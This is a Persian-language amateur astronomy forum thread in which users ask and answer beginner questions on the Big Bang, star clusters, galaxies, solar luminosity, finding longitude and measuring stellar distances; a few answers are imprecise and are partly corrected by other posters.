«یک هواشناس روسی به نام فریدمن (A.A. Friedmann)، معادلات اینشتین را حل کرد و به مجموعه مدل‌هایی دست یافت که در آنها جهان از یک نقطه، یا تکینگی، شروع می‌شد. فرد هویل (Fred Hoyle) این مدل‌ها را مهبانگ (Big Bang) نامید- در حقیقت این یک عبارت تحقیرآمیز بود، چرا که هویل خود با طرفداری از نظریۀ دیگری به نام تئوری حالت پایدار (Steady State Theory) علاقه‎ای به این مدل‌ها نداشت! »

اصطلاح Big Bang را نخستین بار فرد هویل، که یک ستاره شناس مطرح بریتانیایی بود و اورا منکر خدا میدانستند، در سال 1949 و در یک برنامه رادیویی در BBC با عنوان «ماهیت جهان» به منظور مسخره کردن این نظریه، برای آن به کار برد. او معتقد بود که اگر قائل به وجود ابتدا برای جهان باشیم، باید بپرسیم که جهان را چه کسی خلق کرد. برای گریز از این سؤال، او معتقد به نظریه حالت پایدار بود.

توضیحات بیشتر درباره این دو نظریه را در بخش کیهان شناسی ملاحظه نمایید.
ضمناً در لینک زیر میتوانید توضیحات مبسوطی را به زبان انگلیسی درباره انتقاد فرد هویل به نظریه مهبانگ ببینید:
http://creation.com/big-bang-critic-dies-fred-hoyle

موفق باشید.

[farshad]

درود بر دوستان

شب رصدی در کویر مرنجاب ( یادش بخیر :دی ) به عنوان سرگرمی چند تا عکس از اسمون گرفتم ( با اجازه پیشکسوت ها البته ). امشب که داشتم نگاهشون می کردم کنار ذات الکرسی چیزی دیدم که چون خیلی با موقعیت اجرام توی اسمون اشنا نیستم دقیقا نفهمیدم چیه؟!

برای اینکه موقعیتش مشخص بشه عکس بزرگ رو میزارم.اونی که بالا سمت چپه آندرومداست و اونی که نفهمیدم چیه توی بیضی قسمت کم رنگ تر:


http://up.avastarco.com/images/l4hq0wady6lilvx1fx9h.jpg

و برشی از عکس در سایز بزرگ ( اون هاله ابری شکل در وسط عکس ) :


http://up.avastarco.com/images/ek9bkv1vswquy43o9ynk.jpg


سپاس از منجمین عزیز :)

[berjis93]

درود بر دوستان

شب رصدی در کویر مرنجاب ( یادش بخیر :دی ) به عنوان سرگرمی چند تا عکس از اسمون گرفتم ( با اجازه پیشکسوت ها البته ). امشب که داشتم نگاهشون می کردم کنار ذات الکرسی چیزی دیدم که چون خیلی با موقعیت اجرام توی اسمون اشنا نیستم دقیقا نفهمیدم چیه؟!

برای اینکه موقعیتش مشخص بشه عکس بزرگ رو میزارم.اونی که بالا سمت چپه آندرومداست و اونی که نفهمیدم چیه توی بیضی قسمت کم رنگ تر:


http://up.avastarco.com/images/l4hq0wady6lilvx1fx9h.jpg

و برشی از عکس در سایز بزرگ ( اون هاله ابری شکل در وسط عکس ) :


http://up.avastarco.com/images/ek9bkv1vswquy43o9ynk.jpg


سپاس از منجمین عزیز :)
سلام اگه اشتباه نکنم باید خوشه باز m103باشه که تو صورت فکلی ذات الکرسی قرار داره و تو نقشه من با موقعیت عکس مطابقت داره

[Amirali]

درود بر دوستان

شب رصدی در کویر مرنجاب ( یادش بخیر :دی ) به عنوان سرگرمی چند تا عکس از اسمون گرفتم ( با اجازه پیشکسوت ها البته ). امشب که داشتم نگاهشون می کردم کنار ذات الکرسی چیزی دیدم که چون خیلی با موقعیت اجرام توی اسمون اشنا نیستم دقیقا نفهمیدم چیه؟!

برای اینکه موقعیتش مشخص بشه عکس بزرگ رو میزارم.اونی که بالا سمت چپه آندرومداست و اونی که نفهمیدم چیه توی بیضی قسمت کم رنگ تر:


http://up.avastarco.com/images/l4hq0wady6lilvx1fx9h.jpg

و برشی از عکس در سایز بزرگ ( اون هاله ابری شکل در وسط عکس ) :


http://up.avastarco.com/images/ek9bkv1vswquy43o9ynk.jpg


سپاس از منجمین عزیز :)


سلام :)

خوشه باز بسیار زیبای NGC7789 ;)
http://forum.avastarco.com/forum/showthread.php?846-%D8%B1%D9%88%D8%B4%D9%87%D8%A7%D9%8A-%D8%B1%D8%B5%D8%AF-%D8%A7%D8%AC%D8%B1%D8%A7%D9%85-%D8%A7%D8%B9%D9%85%D8%A7%D9%82-%D8%A2%D8%B3%D9%85%D8%A7%D9%86&p=67947&viewfull=1#post67947


http://up.avastarco.com/images/i5tf74a5nav6oex45ars.jpg

[farshad]

سلام اگه اشتباه نکنم باید خوشه باز m103باشه که تو صورت فکلی ذات الکرسی قرار داره و تو نقشه من با موقعیت عکس مطابقت داره


سلام :)

خوشه باز بسیار زیبای NGC7789 ;)



ولی من با برنامه stellrium توی اون نقطه چیزی نمیبینم؟!

http://up.avastarco.com/images/wgbsg1nmxoyu5ppeslp.jpg

اگه اشتباه میکنم بفرمايید!

http://up.avastarco.com/images/tltpsjp6gd4rwddgbes.jpg

[Amirali]

ولی من با برنامه stellrium توی اون نقطه چیزی نمیبینم؟!

http://up.avastarco.com/images/wgbsg1nmxoyu5ppeslp.jpg

اگه اشتباه میکنم بفرمايید!

http://up.avastarco.com/images/tltpsjp6gd4rwddgbes.jpg

استلاریوم تصویر تعداد محدودی از اجرام عمق رو داره به خاطر همین چیزی تو اون قسمت نیست اما موقعیت تمام اجرام رو داره و اگه تو تنظیمات نمایش اجرام عمق رو فعال کنید و حساسیتش رو هم بالا ببرید این خوشه رو نشون میده (فقط اسمش)

[farshad]

استلاریوم تصویر تعداد محدودی از اجرام عمق رو داره به خاطر همین چیزی تو اون قسمت نیست اما موقعیت تمام اجرام رو داره و اگه تو تنظیمات نمایش اجرام عمق رو فعال کنید و حساسیتش رو هم بالا ببرید این خوشه رو نشون میده (فقط اسمش)

بله پیدا شد...

کاملا حق با شماست و متشکرم :)

فکر کردم یه چیز جدید کشف کردم :))

[mehrnoosh00]

به هم آواییان :)
ممنون میشم اگه بگید که کهکشان های محلی یعنی چی و چه کهکشان هایی رو شامل میشن؟

[علیرضا محمدی]

به هم آواییان :)
ممنون میشم اگه بگید که کهکشان های محلی یعنی چی و چه کهکشان هایی رو شامل میشن؟
با سلام
همانطور که می دانید کهکشان ها خود مجموعه ای از میلیارد ها ستاره و ... است .خود کهکشان ها هم مجموعه های بزرگ تری را می سازند که به آن ها خوشه های کهکشانی و به محموعه خوشه های کهکشانی ،ابر خوشه گفته می شود .
کهکشان ما (راه شیری) در کنار اندرومدا ،ابر های ماژلانی کوچک و بزرگ (در نیم کره ی جنوبی مشخص است)وچند کهکشان کوچک و بزرگ دیگر یک مجموعه بزرگ به اسم خوشه کهکشانی را تشکیل می دهند و نام این خوشه گروه محلی است.

[2215]

سلام دوستان
یه سوال
درخشندگی مقدار انرژی تابش شده ی یک جرم در واحد زمانه. برای درخشندگی خورشید هم یه عدد وجود که به همین معناست. ولی خورشید در طول موج های مختلف تابش داره! سوال من اینجاست که این عدد چیه؟ این عدد میانگین انرژی ای است که در هر طول موج به ما میرسه؟ یعنی اومدن شار رو در هر طول موج حساب کردن و برای همه ی طول موج ها میانگین گرفتن؟ یا چیز دیگه ایه؟

[Mostafa]

سلام دوستان
یه سوال
درخشندگی مقدار انرژی تابش شده ی یک جرم در واحد زمانه. برای درخشندگی خورشید هم یه عدد وجود که به همین معناست. ولی خورشید در طول موج های مختلف تابش داره! سوال من اینجاست که این عدد چیه؟ این عدد میانگین انرژی ای است که در هر طول موج به ما میرسه؟ یعنی اومدن شار رو در هر طول موج حساب کردن و برای همه ی طول موج ها میانگین گرفتن؟ یا چیز دیگه ایه؟

سلام

ممنون از سوال خوبتون

فکر میکنم جوابتون این باشه که اون درخشندگی که از خورشید بیان میشه ، مقدار انرژی در طول موج مرئی است .

اما کل انرژی تابش شده در همه طول موج ها رو بهش " درخشندگی مطلق " یا " درخشندگی بولومتریک " میگن که مجموع انرژی همه طول موج ها است .

البته در مورد خورشید که بیشینه تابش اون در محدوده مرئی است این 2 مقدار زیاد با هم تفاوتی ندارند

امیدوارم پاسخم مفید بوده باشد

موفق باشید :)

[2215]

ممنونم از پاسخ مختصر و مفیدتون
ولی طول موج های مرئی نیز یه بازه ی طول موجیه! یعنی به ازاء هر طول موج یه درخشندگی بدست میاد. این درخشندگی که بیان میشه میانگین درخشندگی در طول موج های مرئیه؟؟ یا طول موج خاصی مد نظره؟


سلام

ممنون از سوال خوبتون

فکر میکنم جوابتون این باشه که اون درخشندگی که از خورشید بیان میشه ، مقدار انرژی در طول موج مرئی است .

اما کل انرژی تابش شده در همه طول موج ها رو بهش " درخشندگی مطلق " یا " درخشندگی بولومتریک " میگن که مجموع انرژی همه طول موج ها است .

البته در مورد خورشید که بیشینه تابش اون در محدوده مرئی است این 2 مقدار زیاد با هم تفاوتی ندارند

امیدوارم پاسخم مفید بوده باشد

موفق باشید :)

[Mostafa]

ممنونم از پاسخ مختصر و مفیدتون
ولی طول موج های مرئی نیز یه بازه ی طول موجیه! یعنی به ازاء هر طول موج یه درخشندگی بدست میاد. این درخشندگی که بیان میشه میانگین درخشندگی در طول موج های مرئیه؟؟ یا طول موج خاصی مد نظره؟

نه میانگین نیست ، مجموع است

مجموع انرژی طول موج های مرئی است

[moonlight13]

سلام
معلم فیزیک ما گفت که برای این زمین به دور خورشید میچرخه و نمی ایسته چون انرژی اولیه ای که به اون داده شده اتلافی با محیط اطرافش نداره.
سوالم اینه که آیا این حرف درسته؟و این که انرژی اولیه چگونه به زمین داده شده؟

[sesto]

سلام . ببخشید چرا توی هر کتابی میخونیم یا هر جای دیگه منکر وجود حیات رو سطح خورشید هر چند ساده میشن ؟
یکی میتونه یه دلیل قاطع برای من بیاره ؟؟؟؟

[moonlight13]

سلام . ببخشید چرا توی هر کتابی میخونیم یا هر جای دیگه منکر وجود حیات رو سطح خورشید هر چند ساده میشن ؟
یکی میتونه یه دلیل قاطع برای من بیاره ؟؟؟؟
سلام
من فکر می کنم جواب سوالتون این باشه:
میدونیم که تمام موجودات زنده ای که ما میشناسیم حیاتی دارند که به خاطر وجود dna در بدن اون هاست.یعنی تمام اطلاعات و مکانیزم کارکرد بدن در dna هستش؛dna هم از پروتئین ساخته شده و ساختار پروتئین در دمای بالا از بین میره بنابراین چون سطح خورشید هم دمایی بسیار بالا داره حیاتی که ما میشناسیم نمیتونه در اونجا وجود داشته باشه.

[sesto]

بالا ترین دما هایی که ما روی زمین داریم . معمولا و تا جایی که من علم دارم مربوط به داخل یه راکتور هسته ایه دیگه . یه جور خورشید سرد بر روی زمین !
اما ما باکتری ای داریم که فقط توی این محیط به وجود میاد و زندگی میکنه . باکتری هم یه نوع حیاته

[moonlight13]

بالا ترین دما هایی که ما روی زمین داریم . معمولا و تا جایی که من علم دارم مربوط به داخل یه راکتور هسته ایه دیگه . یه جور خورشید سرد بر روی زمین !
اما ما باکتری ای داریم که فقط توی این محیط به وجود میاد و زندگی میکنه . باکتری هم یه نوع حیاته
من اولین باره که توی عمرم همچین چیزی میشنوم!میشه یه منبع بگین که من هم راجبه این باکتری بخونم؟

[Ehsan]

بالا ترین دما هایی که ما روی زمین داریم . معمولا و تا جایی که من علم دارم مربوط به داخل یه راکتور هسته ایه دیگه . یه جور خورشید سرد بر روی زمین !
اما ما باکتری ای داریم که فقط توی این محیط به وجود میاد و زندگی میکنه . باکتری هم یه نوع حیاته


سلام . ببخشید چرا توی هر کتابی میخونیم یا هر جای دیگه منکر وجود حیات رو سطح خورشید هر چند ساده میشن ؟
یکی میتونه یه دلیل قاطع برای من بیاره ؟؟؟؟

سطحِ خورشید اونقدر داغه که هیچ (مطلقا هیچ) ساختارِ ملوکولی نمیتونه روش وجود داشته باشه و پایدار باشه، چه برسه به ساختارهای پیچیده ی پر از ملوکولی مثلِ باکتری یا آغازیان یا حتی ویروس، توی سطحِ خورشید تقریبا همه چی حالتِ گازی داره و در حالتِ گازی اصولا حیاتی نمی‌تونه شکل بگیره. اتمها اون قدر پر انرژی هستند که به قولِ معروف یه جا بند نمیشن و دستِ کم حیاتی که ما تا الان دیدیم نمی‌تونه رو سطحِ خورشید وجود داشته باشه، اون باکتری ها رو هم احتمالا اشتباهی شندید، یا دمای متفاوتی بوده و.... اما در حالتِ کارِ راکتور قطعا هیچ موجودِ زنده ای نمی‌تونه درونش دوام بیاره.


سلام
معلم فیزیک ما گفت که برای این زمین به دور خورشید میچرخه و نمی ایسته چون انرژی اولیه ای که به اون داده شده اتلافی با محیط اطرافش نداره.
سوالم اینه که آیا این حرف درسته؟و این که انرژی اولیه چگونه به زمین داده شده؟

علیکِ سلام

بله انرژی غیر از فرایندِ جزر و مد، هیچ اثرِ اتلافی روی چرخشِ زمین وجود نداره (گویا جزر و مد طولِ روز رو از 10 15 ساعت در ابتدا به 24 ساعتِ کنونی رسونده)، این انرژی اولیه از چرخشِ ابرِ اولیه ای که زمین رو تشکیل میداده به وجود آمده، معمولا رسمه که برای چرخش از تکانه ی زاویه ای صحبت می‌کنند و میگن که تکانه ی زاویه ای از ابرِ اولیه به زمین منتقل شده.

[sesto]

اون باکتری ها رو هم احتمالا اشتباهی شندید، یا دمای متفاوتی بوده و.... اما در حالتِ کارِ راکتور قطعا هیچ موجودِ زنده ای نمی‌تونه درونش دوام بیاره.
اون که منبعش معتبره . اگه مجلش رو پیدا کنم اسم علمیش هم میگم .

[2215]

میشه بیشتر توضیح بدید!!!!!!!
جزر و مد چگونه باعث اتلاف انرژی زمین میشه؟

سطحِ خورشید اونقدر داغه که هیچ (مطلقا هیچ) ساختارِ ملوکولی نمیتونه روش وجود داشته باشه و پایدار باشه، چه برسه به ساختارهای پیچیده ی پر از ملوکولی مثلِ باکتری یا آغازیان یا حتی ویروس، توی سطحِ خورشید تقریبا همه چی حالتِ گازی داره و در حالتِ گازی اصولا حیاتی نمی‌تونه شکل بگیره. اتمها اون قدر پر انرژی هستند که به قولِ معروف یه جا بند نمیشن و دستِ کم حیاتی که ما تا الان دیدیم نمی‌تونه رو سطحِ خورشید وجود داشته باشه، اون باکتری ها رو هم احتمالا اشتباهی شندید، یا دمای متفاوتی بوده و.... اما در حالتِ کارِ راکتور قطعا هیچ موجودِ زنده ای نمی‌تونه درونش دوام بیاره.



علیکِ سلام

بله انرژی غیر از فرایندِ جزر و مد، هیچ اثرِ اتلافی روی چرخشِ زمین وجود نداره (گویا جزر و مد طولِ روز رو از 10 15 ساعت در ابتدا به 24 ساعتِ کنونی رسونده)، این انرژی اولیه از چرخشِ ابرِ اولیه ای که زمین رو تشکیل میداده به وجود آمده، معمولا رسمه که برای چرخش از تکانه ی زاویه ای صحبت می‌کنند و میگن که تکانه ی زاویه ای از ابرِ اولیه به زمین منتقل شده.

[mohsen4465]

اون که منبعش معتبره . اگه مجلش رو پیدا کنم اسم علمیش هم میگم .
بله درست میگید. چنین باکتری‌هایی وجود دارن؛ شنیدم که دارن روی اونها کار میکنن تا ازشون برای تصفیه زباله‌های اتمی استفاده کنن. البته بعید میدونم که این باکتری‌ها داخل قلب راکتور باشن. چون دمای قلب راکتور خیلی بالاست؛ مگر به این شرط که تماس مستقیم اون با آب خنک کننده و انتشار حرارت از داغی قلب راکتور بکاهه و اونو زیر 120 درجه نگه‌داری کنه. البته از اونجایی که سیستم خنک کننده راکتور یک سیستم سر بسته هست بنابراین دمای آب (اگر بعنوان خنک کننده استفاده بشه) بسیار بیشتر از دمای جوش اون میتونه بشه و بنابراین احتمال زنده موندن این باکتری‌ها منتفی میشه.

برای آشنایی بیشتر با چنین باکتری‌های جان سختی میتونید به این تاپیک یک سری بزنید: زندگی در شرایط سخت! (http://forum.avastarco.com/forum/showthread.php?1157-زندگی-در-شرایط-سخت!)

[مداد رنگیهام]

سلام
من فکر می کنم جواب سوالتون این باشه:
میدونیم که تمام موجودات زنده ای که ما میشناسیم حیاتی دارند که به خاطر وجود dna در بدن اون هاست.یعنی تمام اطلاعات و مکانیزم کارکرد بدن در dna هستش؛dna هم از پروتئین ساخته شده و ساختار پروتئین در دمای بالا از بین میره بنابراین چون سطح خورشید هم دمایی بسیار بالا داره حیاتی که ما میشناسیم نمیتونه در اونجا وجود داشته باشه.

یه نکته کوچیک بگم که dna پروتئینی نیست بلکه درشت مولکولیه که از واحدهای نوکلئوتیدی تشکیل شده و کلا پروتئین ها دسته ی جدایی هستن ولی بخشی از ژنوم سلولی رو پروتئین تشکیل میده.:)

[mehrnoosh00]

سلام دوستان :)
من یه سوال داشتم درباره با اینکه تو فضا، توی منظومه ی شمسی ما آسمان تاریکه؟ اگه اینطوره چرا؟
با تشکر :)

[berjis93]

سلام دوستان.یک سوال.میدونیم که با اندازه گیری ارتفاع ستاره قطبی میتونیم عرض جغرافیایی منطقه ای که داخلش هستیم رو پیدا کنیم.حالا سوال اینجاست که اگه بخوایم طول جغرافیایی یه منطقرو از روی ستاره های بالا سرمون پیدا کنیم با چه روشی باید این کار رو انجام بدیم؟

[Amirali]

سلام دوستان :)
من یه سوال داشتم درباره با اینکه تو فضا، توی منظومه ی شمسی ما آسمان تاریکه؟ اگه اینطوره چرا؟
با تشکر :)

سلام

اسمون زمین به خاطر وجود جو روشنه و این جو زمین هست که با پراکنده کردن نور خورشید اسمون روز رو روشن میکنه
در خارج از کره ی زمین جوی وجود نداره و با یک خلا بسیار رقیق مواجه هستیم (بسیار رقیق تر از خلا های ازمایشگاهی) به همین دلیل تاریکه

همین شرایط روی کره ماه هم برقراره! اسمون کره ی ماه به علت نبود جو (یا بهتره بگیم رقیق بودن جو) کاملا تاریکه حتی زمانیکه خورشید تو اسمونه ;)

[Amirali]

سلام دوستان.یک سوال.میدونیم که با اندازه گیری ارتفاع ستاره قطبی میتونیم عرض جغرافیایی منطقه ای که داخلش هستیم رو پیدا کنیم.حالا سوال اینجاست که اگه بخوایم طول جغرافیایی یه منطقرو از روی ستاره های بالا سرمون پیدا کنیم با چه روشی باید این کار رو انجام بدیم؟

طول جغرافیایی یه چیز قراردایه و در هر صورت ما برای تعین طول جغرافیاییمون باید زمان رو تو گرینویچ داشته باشم

میخوایم به کمک ستاره ها طول جغرافیاییمون رو به دست بیاریم

برای اینکار باید زاویه ساعتی و بعد ستاره رو اندازه بگیریم و با استفاده از این دوتا زمان نجومی محلی (http://forum.avastarco.com/forum/showthread.php?1240-%D9%86%D8%AC%D9%88%D9%85-%DA%A9%D8%B1%D9%88%DB%8C-%D8%A7%D8%B2-%D8%B5%D9%81%D8%B1-%D8%AA%D8%A7-...&p=64293&viewfull=1#post64293) به دست میاد

حالا اگه زمان نجومی گرینویچ رو داشته باشیم اختلاف این دوتا میشه طول جغرافیایی

این کار رو به روش های دیگه ای هم میتونیم انجام بدیم اما در هر صورت نیازمند پارامتر زمان هستیم

[berjis93]

ممنون از اقای امیر علی به خاطر راهنماییشون.اما من یه مطلبی رو شنیدم که میگن اگه یه شهری رو به عنوان معیار قرار بدیم و ساعت اون شهر رو داشته باشیم اختلاف مثلا ظهر شرعی اون شهر رو با ظهر شرعی شهر خودمون به دست بیاریم و این اختلاف ساعت رو ضرب در 15 بکنیم طول جغرافیایی شهرمون به دست میاد .من این کار رو انجام دادم و تهران رو با لندن محاسبه کردم طول جغرافیایی تهران رو دقیق بهم داد...نظرتون راجع به این روش چیه؟ ایا علمی هست و میشه بهش تکیه کرد؟

[Amirali]

ممنون از اقای امیر علی به خاطر راهنماییشون.اما من یه مطلبی رو شنیدم که میگن اگه یه شهری رو به عنوان معیار قرار بدیم و ساعت اون شهر رو داشته باشیم اختلاف مثلا ظهر شرعی اون شهر رو با ظهر شرعی شهر خودمون به دست بیاریم و این اختلاف ساعت رو ضرب در 15 بکنیم طول جغرافیایی شهرمون به دست میاد .من این کار رو انجام دادم و تهران رو با لندن محاسبه کردم طول جغرافیایی تهران رو دقیق بهم داد...نظرتون راجع به این روش چیه؟ ایا علمی هست و میشه بهش تکیه کرد؟

خواهش میکنم :)
خب این میشه اختلاف طول ما با اون شهر
اگه طول جغرافیایی اون شهر رو هم داشته باشیم میتونیم طول جغرافیایی خودمونو به دست بیاریم
جواب شما به این دلیل درست به دست اومده که لندن نزدیکه گرینویچه ;)

البته اگه خورشید رو مبنای اندازی گیری قرار بدیم یک سری تصحیحات لازم هست که برای توضیحات بیشتر میتونید به ص52 کتاب نجوم کروی اسمارت مراجعه کنید

[smhm]

یک روش دیگری هم هست که نیازی به داشتن زمان ظهر در شهری دیگر نیست. کافی است که شما زمان ظهر شرعی در شهر خودتون را داشته باشید و سپس طول جغرافیایی را محاسبه کنید.
فقط به یک جدول نیاز دارید (جدول تعدیل زمان)

[cosmologist]

ممنون از اقای امیر علی به خاطر راهنماییشون.اما من یه مطلبی رو شنیدم که میگن اگه یه شهری رو به عنوان معیار قرار بدیم و ساعت اون شهر رو داشته باشیم اختلاف مثلا ظهر شرعی اون شهر رو با ظهر شرعی شهر خودمون به دست بیاریم و این اختلاف ساعت رو ضرب در 15 بکنیم طول جغرافیایی شهرمون به دست میاد .من این کار رو انجام دادم و تهران رو با لندن محاسبه کردم طول جغرافیایی تهران رو دقیق بهم داد...نظرتون راجع به این روش چیه؟ ایا علمی هست و میشه بهش تکیه کرد؟

زمین در هر یک ساعت 15 درجه به دور خودش میچرخه یا به تعبیری اجرام 15 درجه جابه جا میشن.(360 درجه تقسیم بر 24 ساعت). پس اگر بدونیم مثلا خورشید چه موقع در سمت الراس اون شهر قرار داره و ببینیم کی به سمت الراس ما میرسه میشه از این رابطه فاصله را پیدا کرد (با فرض ثابت بودن عرض جغرافیایی)

[Mostafa]

زمین در هر یک ساعت 15 درجه به دور خودش میچرخه یا به تعبیری اجرام 15 درجه جابه جا میشن.(360 درجه تقسیم بر 24 ساعت). پس اگر بدونیم مثلا خورشید چه موقع در سمت الراس اون شهر قرار داره و ببینیم کی به سمت الراس ما میرسه میشه از این رابطه فاصله را پیدا کرد (با فرض ثابت بودن عرض جغرافیایی)

ضمن تشکر از پاسخ شما

حتی اگر عرض جغرافیایی ها ، متفاوت هم باشند ، باز هم این نکته صحیح است

چرا که نقاطی که روی یک نصف النهار هستند ، با وجود عرض های جغرافیایی متفاوت ، لحظه اذان ظهر یکسان دارند :)

[ali zeynali]

ضمن تشکر از پاسخ شما

حتی اگر عرض جغرافیایی ها ، متفاوت هم باشند ، باز هم این نکته صحیح است

چرا که نقاطی که روی یک نصف النهار هستند ، با وجود عرض های جغرافیایی متفاوت ، لحظه اذان ظهر یکسان دارند :)

بله حرف شما درسته ولي اگر عرض جغرافيايي ها يكسان نباشند كه از سمت الراس هر دو نمي گزره!

[cosmologist]

ضمن تشکر از پاسخ شما

حتی اگر عرض جغرافیایی ها ، متفاوت هم باشند ، باز هم این نکته صحیح است

چرا که نقاطی که روی یک نصف النهار هستند ، با وجود عرض های جغرافیایی متفاوت ، لحظه اذان ظهر یکسان دارند :)


ممنون از دقتتون
همونطور که جناب zeynaliهم گفتند بیشتر به خاطر اینکه گفته بودم سمت الراس این فرض را اضافه کردم.

[berjis93]

یک روش دیگری هم هست که نیازی به داشتن زمان ظهر در شهری دیگر نیست. کافی است که شما زمان ظهر شرعی در شهر خودتون را داشته باشید و سپس طول جغرافیایی را محاسبه کنید.
فقط به یک جدول نیاز دارید (جدول تعدیل زمان)

سلام.میشه روشی که گفتید رو یک بار شرح بدید و بگید که اون جدول چه جدولیه و چجوری میشه تهیش کرد؟

[Mostafa]

بله حرف شما درسته ولي اگر عرض جغرافيايي ها يكسان نباشند كه از سمت الراس هر دو نمي گزره!

بله درسته

من هم نوشته دوستمون در مورد "عبور خورشيد از سمت الراس" رو به " عبور بالايي " تفسير كردم و گذاشتم به حساب اشتباه نوشتاري

وگرنه حق با شماست و طبعتآ روي هر نصف النهار فقط يك عرض جغرافيايي هست كه خورشيد از سمت الراس اون عبور مي كنه :)

[smhm]

سلام.میشه روشی که گفتید رو یک بار شرح بدید و بگید که اون جدول چه جدولیه و چجوری میشه تهیش کرد؟
پاسخ شما را انشاء الله در تایپیک «پرسش و پاسخ نجوم کروی» می دهم.

[2215]

:39:سلام دوستان
توی اغلب سایت ها نوشته شده که آندرومدا نزدیک ترین کهکشان به ماست. اما توی ویکی پدیا فارسی نوشته شده که آندرومدا نزدیکتریم کهکشان به ما نیست. نزدیکترین کهکشان مارپیچی به ماست.
من می خواستم بدونم اگر متن ویکی پدیا صحت داره پس بالاخره نزدیکترین کهکشان به منظومه شمسی چیست؟

[Ehsan]

:39:سلام دوستان
توی اغلب سایت ها نوشته شده که آندرومدا نزدیک ترین کهکشان به ماست. اما توی ویکی پدیا فارسی نوشته شده که آندرومدا نزدیکتریم کهکشان به ما نیست. نزدیکترین کهکشان مارپیچی به ماست.
من می خواستم بدونم اگر متن ویکی پدیا صحت داره پس بالاخره نزدیکترین کهکشان به منظومه شمسی چیست؟

از نظرِ کهکشانها بزرگ و قابل توجه و مستقل بله آندرومدا نزدیکترین کهکشان به ماست، اما واقعیت اینه که چند کهکشانِ کوچک و نامنظم (مثلِ ابرهای ماژلانی) هستند که بسیار به ما نزدیک‌اند و اصطلاحا قمرهای راهِ شیری نامیده میشن، به این تیپ کهکشانها می‌گن کهکشانهای اقماری که البته حولِ آندرومدا هم دوتاش با تلسکوپ دیده میشه.


توی تصویرِ پایین، ابرهای ماژلانی به همراهِ راهِ شیری قابل رویت هستند:


http://upload.wikimedia.org/wikipedia/commons/thumb/e/e5/Red_alert.jpg/640px-Red_alert.jpg



این هم آندرومدا با دو قمرِ مشخصش:

http://upload.wikimedia.org/wikipedia/commons/thumb/9/98/Andromeda_Galaxy_%28with_h-alpha%29.jpg/640px-Andromeda_Galaxy_%28with_h-alpha%29.jpg

[2215]

سلام دوستان
ببخشید اگر سوالم ابتدایی است!
دلیل آبی بودن آسمان اینه که مولکولهای گازی جو زمین به خاطر اندازه شان، نور آبی را پراکنده می کنند پس ما در همه جهات آسمون رو آبی می بینیم. حالا سوال من اینجاست که پس چرا ما وقتی به سمت خورشید نگاه می کنیم اون رو آبی نمی بینیم. یا وقت طلوع و غروب ،آسمون رو آبی نمی بینیم؟ یعنی در این مواقع این ذرات کجا هستند؟

[mohsen4465]

سلام دوستان
ببخشید اگر سوالم ابتدایی است!
دلیل آبی بودن آسمان اینه که مولکولهای گازی جو زمین به خاطر اندازه شان، نور آبی را پراکنده می کنند پس ما در همه جهات آسمون رو آبی می بینیم. حالا سوال من اینجاست که پس چرا ما وقتی به سمت خورشید نگاه می کنیم اون رو آبی نمی بینیم. یا وقت طلوع و غروب ،آسمون رو آبی نمی بینیم؟ یعنی در این مواقع این ذرات کجا هستند؟

یه نگاه به این تاپیک بندازید اگه بازم سوالی داشتید بگید: :)

نورهای آسمانی (http://forum.avastarco.com/forum/showthread.php?1212-نورهای-آسمانی/page10) (پست شماره 99)

[ناصر اسماعیلی]

سلام
من اطلاعاتی را در مورد مقارنه میخواستم.

[Ehsan]

سلام
من اطلاعاتی را در مورد مقارنه میخواستم.

علیکِ سلام

بفرمایید این هم از اطلاعات :) :

http://wiki.avastarco.com/index.php?title=%D9%85%D9%82%D8%A7%D8%B1%D9%86%D9% 87

[مداد رنگیهام]

سلام دو ستاره که در رصد از لحاظ اندازه و درخشش مثل هم دیده مشن رو در نظر بگیرین آیا راهی هست که تشخیص داد آیا واقعا این دوتا ستاره از لحاظ جرمی و فاصله تا زمین یکسانن یا اینکه جرم های متفاوتی دارن و به خاطر اختلاف فاصله یکسان دیده میشن؟
ممنون :)

[fatemeh.zar]

سلام دو ستاره که در رصد از لحاظ اندازه و درخشش مثل هم دیده مشن رو در نظر بگیرین آیا راهی هست که تشخیص داد آیا واقعا این دوتا ستاره از لحاظ جرمی و فاصله تا زمین یکسانن یا اینکه جرم های متفاوتی دارن و به خاطر اختلاف فاصله یکسان دیده میشن؟
ممنون :)

ستاره ها (البته بجز خورشید) عموما اونقدر از ما دور هستند که ما همه ی اونها رو به یک اندازه و به اندازه ی یک نقطه می بینیم. این اصلا دلیل بر این نیست که همه ی ستاره ها از ما به یک فاصله اند!

کلن چند تا راه برای تشخیص فاصله ستاره ها وجود داره:

1- اختلاف منظر:
انگشتتون رو بگیرید جلو صورتتون و یک چشمتونو ببندید ببینید دستتون در راستای کدوم شی پشت سرش قرار می گیره. حالا اون چشمتون رو باز کنید و چشم دیگه تون رو ببندید. می بینید که مکان انگشتتون نسبت به اشیا پشتش عوض میشه. این در واقع اصلیه که روش اختلاف منظر روش استوار شده. اینجا اگه دو تا چشمتون رو به انگشتتون با دوتا خط فرضی وصل کنید اون دو خط با هم زاویه ای رو می سازند که به نصف اون میگن زاویه اختلاف منظر. هرچی شی ای که میخواید فاصله اش رو اندازه بگیرید(مثلا انگشتتون یا ستاره ها) دورتر باشه زاویه ی اختلاف منظرش کمتره و هرچی فاصله بین دو مکان مشاهده( در اینجا فاصله ی بین دو چشم شما) بیشتر باشه اون زاویه بزرگتره.
برای اینکه فاصله دورترین ستاره های ممکن رو بتونیم اندازه بگیریم باید بیشترین فاصله بین دو مکان مشاهده رو فراهم کنیم. (که بهش میگن baseline) برای اینکار ستاره ی مورد نظر رو با فاصله ی 6 ماه رصد میکنیم و طول baseline برابر میشه با قطر مداری زمین به دور خورشید. با داشتن زاویه اختلاف منظر و طول baseline فاصله ستاره با یه مثلثات ساده بدست میاد.

2- یک روش دیگه روش شمع استاندارده. ستاره ای رو که از روی طیفش در یکی از گروه های طیفی جا دادیم رو با یه ستاره دیگه از همون گروه طیفی که فاصله اش رو می دونیم مقایسه می کنیم. در اینجا فرض می کنیم که دو ستاره درخشندگی یکسانی دارند (چون از یک گروه طیفی اند) و بعد از میزان پر یا کم نور تر بودن ستاره ی مورد نظر نسبت به ستاره ی شاخص و با استفاده از قانون عکس مجذور فاصله ، فاصله ستاره بدست میاد.

